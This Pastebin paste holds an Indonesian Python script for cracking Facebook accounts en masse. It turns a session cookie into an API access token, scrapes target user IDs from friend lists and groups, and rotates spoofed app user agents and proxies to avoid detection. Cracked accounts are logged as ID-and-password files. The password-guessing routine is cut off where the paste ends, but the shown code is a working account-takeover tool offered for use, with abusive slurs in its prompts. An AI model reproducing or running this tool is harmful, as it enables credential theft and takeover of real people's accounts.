Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ###TOOLS INI BERSIFAT PRIVATE TOLONG JANGAN DI SEBAR, PATUHI ATURAN.NGAUTOR ABAL", INGAT JANGAM DI SEBAR, METODENYA BERSIFAT.PRIVATE NTAR GAK GACOR LO SALAHIN GW, KLO GK DAPAT TINGGAL GANTI USER UGENT DOANG UDAH GITU AJA !!!
- ###╭∩╮(︶.︶メ)[ IMPORT MODULE ](︶.︶メ)╭∩╮###
- import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64
- from time import sleep
- from rich import pretty
- from rich.tree import Tree
- from rich.panel import Panel
- from rich import print as cetak
- from rich import print as rprint
- from rich import print as prints
- from rich.progress import track
- from rich.text import Text as tekz
- from rich.console import Console
- from rich.columns import Columns
- from rich.panel import Panel as nel
- from rich.panel import Panel as panel
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as par
- from rich.console import Group as gp
- from bs4 import BeautifulSoup as parser
- from rich.columns import Columns as col
- from rich.console import Console as sol
- from rich.markdown import Markdown as mark
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn,TransferSpeedColumn,DownloadColumn
- ###╭∩╮(︶.︶メ)[ USER UGENT ](︶.︶メ)╭∩╮###
- pretty.install()
- CON=sol()
- ugen=[]
- ugen2=[]
- ualu=[]
- ualuh=[]
- taplikasi=[]
- gabriel=[]
- opsi=[]
- proxxy=[]
- dump=[]
- cokbrut=[]
- ngentott = []
- ses=requests.Session()
- princp=[]
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('.prox.txt','w').write(prox)
- except Exception as e:
- exit(e)
- ###╭∩╮(︶.︶メ)[ USER UGENT ](︶.︶メ)╭∩╮###
- for agenku in range(10000):
- a=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; GT-I9300 Build/IMM76D) [FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/{c}.0.{d}.{e};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/:'+'{density=1.0,width=1066,height=552};]'
- ugen.append(uakuh)
- a=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-A720F Build/R16NW) [FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/{c}.0.{d}.{e};FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uakuh)
- a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uakuh)
- a=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-J320F Build/LMY47V) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-J320F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen.append(uakuh)
- for xd in range(10):
- a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uakuh=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
- ugen2.append(uakuh)
- a='Mozilla/5.0 (Windows NT '
- b=random.randrange(100, 9999)
- c=random.randrange(100, 9999)
- d='Win64; x64)'
- e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- i=random.randrange(1, 9)
- j='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- k=random.randrange(1, 9)
- l=random.randrange(1, 9)
- m='Safari/537.36 Edg/113.0.1774.57'
- uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- ###╭∩╮(︶.︶メ)[ INDICATION ](︶.︶メ)╭∩╮###
- id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
- cokbrut=[]
- dia=[]
- atur = []
- wa = Console()
- console = Console()
- uadia, uadarimu = [],[]
- pwpluss,pwnya=[],[]
- ###╭∩╮(︶.︶メ)[ WARNA-COLOR ](︶.︶メ)╭∩╮###
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- try:cek_data = requests.get("http://ip-api.com/json/").json()
- except:cek_data = {'-'}
- try:asal_kota = cek_data["city"]
- except:asal_kota = {'-'}
- try:asal_reg = cek_data["region"]
- except:asal_reg = cek_data['-']
- try:times = cek_data["timezone"]
- except:times = cek_data['-']
- try:city = cek_data["city"]
- except:city = cek_data['-']
- ###╭∩╮(︶.︶メ)[ WARNA-PRINT-RICH ](︶.︶メ)╭∩╮###
- M2 = "[#FF0000]" # MERAH
- H2 = "[#00FF00]" # HIJAU
- K2 = "[#FFFF00]" # KUNING
- B2 = "[#00C8FF]" # BIRU
- P2 = "[#FFFFFF]" # PUTIH
- ###╭∩╮(︶.︶メ)[ CEK-WARNA-TEMA ](︶.︶メ)╭∩╮###
- try:
- file_color = open("data/theme_color","r").read()
- color_text = file_color.split("|")[0]
- color_panel = file_color.split("|")[1]
- except:
- color_text = "[#00FF00]"
- color_panel = "#00C8FF"
- ###╭∩╮(︶.︶メ)[ CONVERTER-BULAN ](︶.︶メ)╭∩╮###
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- ###╭∩╮(︶.︶メ)[ GET-TIME ](︶.︶メ)╭∩╮###
- def waktu():
- now = datetime.now()
- hours = now.hour
- if 4 <= hours < 12:timenow = "good morning"
- elif 12 <= hours < 15:timenow = "good afternoon"
- elif 15 <= hours < 18:timenow = "good evening"
- else:timenow = "good night"
- return timenow
- ###╭∩╮(︶.︶メ)[ MACHINE-SUPPORT ](︶.︶メ)╭∩╮###
- def pepeh(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.004)
- def clear():
- os.system('clear')
- def back():
- login()
- ###╭∩╮(︶.︶メ)[ LOGO-LAKNAT ](︶.︶メ)╭∩╮###
- def banner():
- clear()
- cetak(nel(f'''[bold yellow] ______ __ _______
- | __ \.----.--.--.| |_.-----.| ___|.-----.----.----.-----.
- | __ <| _| | || _| -__|| ___|| _ | _| __| -__|
- |______/|__| |_____||____|_____||___| |_____|__| |____|_____|
- ''',width=70,padding=(0,1),title=f"Banner",style=f"bold blue"))
- ###╭∩╮(︶.︶メ)[ BAGIAN-MASUK ](︶.︶メ)╭∩╮###
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
- lo = mark(li, style='red')
- sol().print(lo, style='cyan')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- print('')
- your_cookies = input(' Masukan Cookie : ')
- with requests.Session() as r:
- try:
- r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
- data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
- response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
- code, user_code = response['code'], response['user_code']
- verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
- r.headers.pop('content-type')
- r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
- response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
- if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
- print(" ├╴> Cookie Invalid...", end='\r');time.sleep(3.5);print(" ", end='\r');exit()
- else:
- action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
- r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
- response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
- if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
- r.headers.pop('content-type');r.headers.pop('origin')
- response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
- action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
- scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
- display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
- user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
- logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
- auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
- encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
- return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
- r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
- response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
- windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
- r.headers.pop('content-type');r.headers.pop('origin')
- r.headers.update({'referer': 'https://m.facebook.com/',})
- response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
- if 'Sukses!' in str(response6):
- r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
- response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
- access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
- print(f"\n ├╴> Token : {access_token}")
- tokenew = open(".token.txt","w").write(access_token)
- cook= open(".cok.txt","w").write(your_cookies)
- print("\n ├╴> Login Berhasil Jalankan Ulang Perintah Python nya");exit()
- except Exception as e:
- print(" ├╴> Cookies Mokad Kontol")
- os.system('rm -rf .cok.txt && rm -rf .token.txt')
- print(e)
- time.sleep(3)
- back()
- except:pass
- ###╭∩╮(︶.︶メ)[ BAGIAN-MENU ](︶.︶メ)╭∩╮###
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print(' [+] Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- os.system('clear')
- banner()
- negara = requests.get("http://ip-api.com/json/").json()["country"]
- ip = requests.get("http://ip-api.com/json/").json()["query"]
- dia.append(nel(f'[bold white][√[/][bold white]][/] [bold white]USERNAME : [bold green]{my_name}[/]\n[bold white][√[/][bold white]][/] [bold white]USER IDZ : [bold green]{my_id}[/]\n[bold white][√[/][bold white]][/] [bold white]TANGGAL : [bold green]{tgl}[/][/]\n[bold white][√[/][bold white]][/] [bold white]STATUS : [bold green]Premium[/][/] ',width=35,padding=(0,1),style=f"bold blue"))
- dia.append(nel(f'[bold white][√[/][bold white]][/] [bold white]NEGARA : [bold green]{negara}[/]\n[bold white][√[/][bold white]][/] [bold white]KOTA : [bold green]{asal_kota}[/]\n[bold white][√[/][bold white]][/] [bold white]TIMEZONE : [bold green]{times}[/][/]\n[bold white][√[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/][/] ',width=35,padding=(0,1),style=f"bold blue"))
- console.print(Columns(dia))
- cetak(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]CRACK PUBLICK [bold white][/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]CRACK FILE [bold white][/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]CRACK GROUP [bold white][/]\n[bold white][[bold cyan]04[/][bold white]][/] [bold white]CEK RESULT [bold white][/]\n[bold white][[bold cyan]05[/][bold white]][/] [bold white]CEK TAPYES [bold white][/]\n[bold white][[bold red]00[/][bold white]][/] [bold red]HAPUS COKIES [bold white][/]',width=35,padding=(0,1),title=f"[bold yellow] MENU IDZ ",style=f"bold blue"))
- _____spoky__404_____ = input('\r╰─◕➤ PILIH MENU : ')
- if _____spoky__404_____ in ['1']:
- dump_massal()
- elif _____spoky__404_____ in ['2']:
- crack_file()
- elif _____spoky__404_____ in ['3']:
- crack_group()
- elif _____spoky__404_____ in ['4']:
- result()
- elif _____spoky__404_____ in ['5']:
- file_cp()
- elif _____spoky__404_____ in ['0']:
- os.system('rm -rf .token.txt')
- os.system('rm -rf .cookie.txt')
- print('╰─◕➤ Sukses Logout+Hapus Kukis ')
- exit()
- else:
- print('╰─◕➤ Pilih Yang Bener Asu ')
- back()
- def error():
- print(f'{k}╰─◕➤ Maaf Fitur Ini Masih Di Perbaiki {x}')
- time.sleep(4)
- back()
- ###╭∩╮(︶.︶メ)[ CRACK-GROUP ](︶.︶メ)╭∩╮###
- def crack_group():
- try:
- token = open('.token.txt','r').read()
- cokies = open('.cok.txt','r').read()
- except IOError:
- print('╰─◕➤ Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- cetak(nel('PASTIKAN IDZ GROUP BERSIFAT PUBLICK , MOHOM BERSABAR DUMP ID GRUP SANGAT LAMBAT',width=70,style=f"bold green"))
- url = input(f'╰─◕➤ IDZ GRUP : ')
- kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
- def kocak(url,cokies):
- data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
- judul = re.findall("<title>(.*?)</title>",str(data))[0]
- if str(judul) == 'Use basic mode':
- print('\n╰─◕➤ Cokies Berada Dalam Mode Free');exit()
- if str(judul) == 'Epsilon':
- print('\n╰─◕➤ Cokies Tidak Dpt Mengakses Grup');exit()
- if str(judul) == 'Kesalahan':
- print('\n╰─◕➤ Cokies Yg Anda Masukan Salah');exit()
- if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
- print('\n╰─◕➤ Cokies Mokad');exit()
- else:
- for isi in data.find_all("h3"):
- for ids in isi.find_all("a",href=True):
- if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
- else:
- if ids.text==judul:pass
- else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
- if uid+"|"+nama in id:pass
- else:id.append(uid+"|"+nama)
- print('\r╰─◕➤ Mengumpulkan %s Id'%(len(id)),end='')
- for x in data.find_all("a",href=True):
- if "Lihat Postingan Lainnya" in x.text:
- kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
- ###╭∩╮(︶.︶メ)[ CRACK-FILE ](︶.︶メ)╭∩╮###
- def crack_file():
- try:vin = os.listdir('/sdcard/SPOKY-DUMP/')
- except FileNotFoundError:
- print(f'{m}╰─◕➤ File Tidak Ditemukan ')
- time.sleep(2)
- exit()
- if len(vin)==0:
- print(f'{m}╰─◕➤ Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- exit()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('/sdcard/SPOKY-DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('╭────────────────────────────╮')
- print(f'{P}├╴> 0%s %s ({h} %s idz )'%(nom,isi,len(hem)))
- print('╰────────────────────────────╯')
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print(f'{P}╰─◕➤ %s. %s ({h} %s idz) '%(cih,isi,len(hem)))
- dm = input(f'{P}╰─◕➤ PILIH : ')
- try:geh = lol[dm]
- except KeyError:
- print(f'{m}╰─◕➤ Pilih Yang Bener Kontol ')
- time.sleep(3)
- exit()
- try:lin = open('/sdcard/SPOKY-DUMP/'+geh,'r').read().splitlines()
- except:
- print(f'{m}╰─◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- exit()
- for xid in lin:
- id.append(xid)
- setting()
- ###╭∩╮(︶.︶メ)[ HASIL-CRACK ](︶.︶メ)╭∩╮###
- def result():
- cetak(nel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]HASIL OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]HASIL CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=70,title=f"[bold green]• [/][bold purple] LIST MENU CRACK [/][bold white] •[/]",style=f"bold blue"))
- kz = input(f'\n╰─◕➤ Pilih : ')
- if kz in ['2','02']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print('╰─◕➤ File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print('╰─◕➤ Anda Tidak Memiliki Hasil CP ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input(f'\n{P}{x}{P}└──◕➤ {x}{P}{x} {P}Select{x} : ')
- try:geh = lol[geeh]
- except KeyError:
- print('└──◕➤ Pilih Yang Bener Bro ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print('└──◕➤ File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('└──◕➤ [ Klik enter ]')
- back()
- elif kz in ['1','01']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print('└──◕➤ File Tidak Di Temuakan ')
- time.sleep(4)
- back()
- if len(vin)==0:
- print('└──◕➤ Anda Tidak Mempunyai File OK ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<80:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n└──◕➤ Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print('└──◕➤ Pilih Yang Bener Bro ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print('└──◕➤ File Tidak Di Temuakan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh} USER UGENT : {x}{cpkuni[2]}')
- nocp +=1
- input('└──◕➤ [ Klik enter ]')
- back()
- elif kz in ['3','03']:
- back()
- else:
- print('└──◕➤ Pilih Yang Bener Bro ')
- back()
- ###╭∩╮(︶.︶メ)[ CRACK-PUBLIK ](︶.︶メ)╭∩╮###
- def dump_massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- jum = int(input('╰─◕➤ BERAPA TARGET : '))
- except ValueError:
- print('╰─◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
- exit()
- if jum<1 or jum>100:
- print('╰─◕➤ Gagal Dump Idz ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input('╰─◕➤ MASUKAN IDZ YANG KE '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print('╰─◕➤ Sinyal Loh Kek Kontoll ')
- exit()
- try:
- print('╭────────────────────────────╮')
- print(f'│ [√] TOTAL ID YANG TERKUMPUL │ : '+str(len(id)))
- print('╰────────────────────────────╯')
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print('╰─◕➤ Sinyal Lo kek Kontol ')
- back()
- except (KeyError,IOError):
- print(f'╰─◕➤ {k} Pertemanan Tidak Public {x}')
- time.sleep(3)
- back()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def setting():
- atur.append(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]CRACK IDZ TUA [bold white][/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]CRACK IDZ MUDA[bold white][/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]CRACK IDZ RANDOM [bold white][/]',width=35,padding=(0,1),title=f"[bold yellow] MENU IDZ ",style=f"bold blue"))
- atur.append(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]LOGIN SITE [bold green]MOBILE V1[bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]LOGIN SITE [bold green]MBASIC FB[bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]LOGIN SITE [bold green]MOBILE V2[bold white] ',width=35,title=f"[bold yellow] MENU METODE ",padding=(0,1),style=f"bold blue"))
- console.print(Columns(atur))
- print('╭───────────────────────────╮')
- hu = input('╰─◕➤ PILIH IDZ : ')
- print('╰───────────────────────────╯')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print('╰─◕➤ Pilih Yang Bener Kontooll ')
- print('╭───────────────────────────╮')
- hc = input('╰─◕➤ PILIH METODE : ')
- print('╰───────────────────────────╯')
- if hc in ['1','01']:
- method.append('mobile')
- elif hc in ['2','02']:
- method.append('mobilev2')
- elif hc in ['3','03']:
- method.append('mobilev3')
- else:
- method.append('mobile')
- exit()
- passwrd()
- ###╭∩╮(︶.︶メ)[ BAGIAN-WORDLIST ](︶.︶メ)╭∩╮###
- def passwrd():
- print('')
- urut = []
- urut.append(panel(f' [bold green]%s [bold white]'%(okc),width=35,title=f"[bold green]OK SAVE IN",style=f"bold green"))
- urut.append(panel(f' [bold yellow]%s [bold white]'%(cpc),width=35,title=f"[bold yellow]CP SAVE IN",style=f"bold yellow"))
- wa.print(Columns(urut))
- cetak(nel(f'[bold white]TAMPILKAN APK YANG TERKAIT DALAM AKUN ? Y/T',width=50,title=f"[bold green]CEK APLIKASI",style=f"bold blue"))
- spoky_404 = input('╰─◕➤ PILIH : ')
- if spoky_404 in ['']:
- print('╰─◕➤ Pilih Yang Bener Bro ')
- exit()
- elif spoky_404 in ['y','Y']:
- taplikasi.append('ya')
- else:
- taplikasi.append('no')
- cetak(nel(f'[bold white]GUNAKAN USER UGENT MANUAL ? Y/T',width=50,title=f"[bold green]SETTING UGENT",style=f"bold blue"))
- uatambah = input(f'╰─◕➤ PILIH : ')
- if uatambah in ['y','Ya','ya','Y']:
- ualuh.append('ya')
- bzer = input(f'╰─◕➤ MASUKAN UGENT : ')
- ualu.append(bzer)
- else:
- ualuh.append('tidak')
- cetak(panel(f'[bold white]TAMPILKAN CEK OPSI PADA AKUN ? Y/T',width=50,title=f"[bold green]CEK OPSI",style=f"bold blue"))
- spoky_404 = input('╰─◕➤ PILIH : ')
- if spoky_404 in ['']:
- print('╰─◕➤ Pilih Yang Bener Bro ')
- exit()
- elif spoky_404 in ['y','Y']:
- gabriel.append('ya')
- else:
- gabriel.append('no')
- print('')
- print('╭───────────────────────────╮')
